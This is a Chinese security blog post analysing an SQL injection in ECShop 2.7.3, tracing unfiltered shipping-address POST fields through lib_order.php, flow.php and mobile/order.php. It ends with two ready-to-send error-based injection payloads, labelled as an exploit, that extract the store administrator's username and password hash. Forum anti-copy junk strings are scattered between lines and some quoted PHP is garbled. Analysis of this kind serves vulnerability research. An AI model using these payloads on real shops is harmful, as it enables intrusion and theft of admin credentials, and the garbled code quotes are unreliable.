ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
  G- H6 o1 O# ]% F3 }3 \
! `9 ]$ ^0 w( P9 n7 Z  R    漏洞关键文件：
0 L  Y) t  Y/ C. T6 r
    /includes/lib_order.php
8 ~$ I; C! w# \' h" Z* r
8 p3 ~* c1 t3 t$ a' n" n    关键函数：



01     function available_shipping_list($region_id_list)

, U) s( i9 m7 @( J02 {

03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
/ t2 v' {! J+ ?, ~4 {
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
$ i! B1 a. @3 _, v0 c
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
, q* h7 b9 `# J" u
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

6 i& Q: `. m0 i/ k4 G07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

* N% @" c; Q% t- x08             'WHERE r.region_id ' . db_create_in($region_id_list) .
& M5 s  z* W( T2 j! \1 N
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
2 T3 N* o. d: C& K# _2 c( n+ S
10   

' m+ k- Z" l% _: i9 Q4 u$ }8 A11     return $GLOBALS['db']->getAll($sql);
# i8 `4 m5 k4 H
12 }

显然对传入的参数没有任何过滤就带入了查询语句。

下面我们追踪这个函数在flow.php中：
9 q; U5 H/ d/ K" R5 Z 第531行：   
2 U* A& t* e+ r
1 $shipping_list     = available_shipping_list($region);
! z; r9 [9 Z0 p8 J  H+ v
7 A  `: j! M! o8 F
( C3 ]4 c; B- j! \


' Y" c' C0 {& j6 {再对传入变量进行追踪：

# D2 {; T" V* Y. Q* A/ `, W) H第530行：   

1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);


, L  S! W2 [1 M* K) X, y9 U
8 X8 c4 x7 Z, n, e

第473行：        

( ]( a9 g5 _# i1 $consignee = get_consignee($_SESSION['user_id']);
* l/ p& @" s1 t8 r
5 H$ y: M* a* Q到了一个关键函数：

$ Z/ A" K: H9 B/ b3 u/includes/lib_order.php



. P" [% H3 N, o% A) M. G

01 function get_consignee($user_id)
  X  f: p! Z4 n/ {/ p/ c; l
" ?: W/ \8 `& y7 c0 N02 {

) |" u& ~& T6 d2 V2 P& P7 G03     if (isset($_SESSION['flow_consignee']))
/ U' b) R6 v) R, Z& U# c, p
. {/ F1 K+ @% L8 a9 B04     {

" G8 [$ \$ u+ R05         /* 如果存在session，则直接返回session中的收货人信息 */
  i7 [- H: F8 ^3 \( C2 d8 w
' d( l. U$ R3 z06   

0 K6 A6 m  n# b+ z07         return $_SESSION['flow_consignee'];
0 `4 L; U+ h9 S4 Y/ J2 o  P7 |
08     }

1 z! b  p+ Y/ c+ \. {, A7 l; H" n09     else

10     {

11         /* 如果不存在，则取得用户的默认收货人信息 */

12         $arr = array();

9 |. \* c' Y, {13   

14         if ($user_id > 0)

  l; G/ I& C8 H; z: X; B& K15         {

  W0 J& O$ X, H# i16             /* 取默认地址 */
% Y3 M2 e: X& n+ \+ ?5 x
1 |! r2 n: {5 ?1 w17             $sql = "SELECT ua.*".
$ q# N% R7 X9 D# _
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
+ I& f$ x4 A* z0 B0 J! M. p4 C
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

20   

8 ]! @$ {2 R4 u9 `: Q6 I$ f21             $arr = $GLOBALS['db']->getRow($sql);
2 |" E$ O/ f+ J, G+ Y4 o3 i: @
. E; E! A. ]" p, N) @& u8 C22         }
3 ^# Z2 D/ N3 _$ B5 N" ~1 S) w
23   
* R5 h6 |7 f: k+ G. Q, j
' d: `) D, _( j, B0 Y2 v24         return $arr;

25     }

26 }

显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
6 o8 N2 U1 r. w: I1 _1 [4 C

, R0 C. c6 Y5 c
1 q( u' N+ R+ S6 u7 C. x关键点:

; v6 a( a! c& M第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
7 U3 W3 D3 w. W
$ _9 N$ z) O9 Q: r- M/ K这里对传入参数反转义存入$_SESSION中。
! c2 d/ s4 T3 m

1 b/ m2 d+ Z4 V. M' M) j; A- @
% U5 c9 }5 @4 N/ K然后看下：
, ~7 v- S6 N9 T" A+ W
* w: f/ g# ^. n# J7 _" w

# \; P3 R6 }) m   
4 ^  ^% t( Z8 _: F
0 d, D7 X' C+ I3 I! Y9 x  t  B01 $consignee = array(

02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

4 ]# N- ]( [: }03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
3 ]* W' D  P, s
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
; Y1 N4 p  w5 Z0 S( K- T
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

7 d! ]) C/ A# n6 G, o08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

" W7 W- e1 ?% q  c, c" g9 t11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

5 V0 w( |$ N% C+ h( V" ?' O2 I12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

) Q) o2 Y0 L; `0 Z! ~9 o, a. X13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
6 u' {1 `& y. |$ D: G0 E
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
0 a) R6 \; i$ a+ ]. s# d/ b
15     );
2 u1 E6 h+ A" A1 f( |& A( N' l8 n+ d
* j6 i# x; e# M8 A* N- U好了注入就这样出现了。

* W8 G6 n8 J% Q4 ?+ X==================
' e; T, M( _6 Y! b
注入测试：

% J# z/ E) V! p2 t* {) I4 K环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

测试程序：ECShop_V2.7.3_UTF8_release1106
& m; j( Z  C8 G1 H; l( c

. R8 K7 ]. A2 d' M8 d( G  W1 j
1.首先需要点击一个商品加入购物车
  y% O1 n, r; Y0 L& m6 c  t: o
2.注册一个会员帐号
7 v# i0 ?# Q$ d9 V
$ h- x/ z( i4 B6 Q+ n8 T* ~  r3.post提交数据



1 http://127.0.0.1/ecshop/flow.php

, A4 M  ]6 f5 Y2   
4 d# n3 K3 c* s0 S5 Z, t
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：

我们搜寻关键函数function available_shipping_list()
6 s6 W7 b! Z0 i4 d
9 r& p3 {: h" ?" A在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
. Y6 U  c( W5 j7 t
利用exp:
1 [. I( k4 ~  Q% f  T+ @6 k
1.点击一个商品，点击购买商标

5 |5 j& B2 ~9 J8 l% W2 v  J2.登录会员帐号

3.post提交：

http://127.0.0.1/ecshop/mobile/order.php

" I( ~5 Z% e% i  X2 P

* l/ p' w4 j- pcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
! _7 {# \$ m1 U0 i. E3 E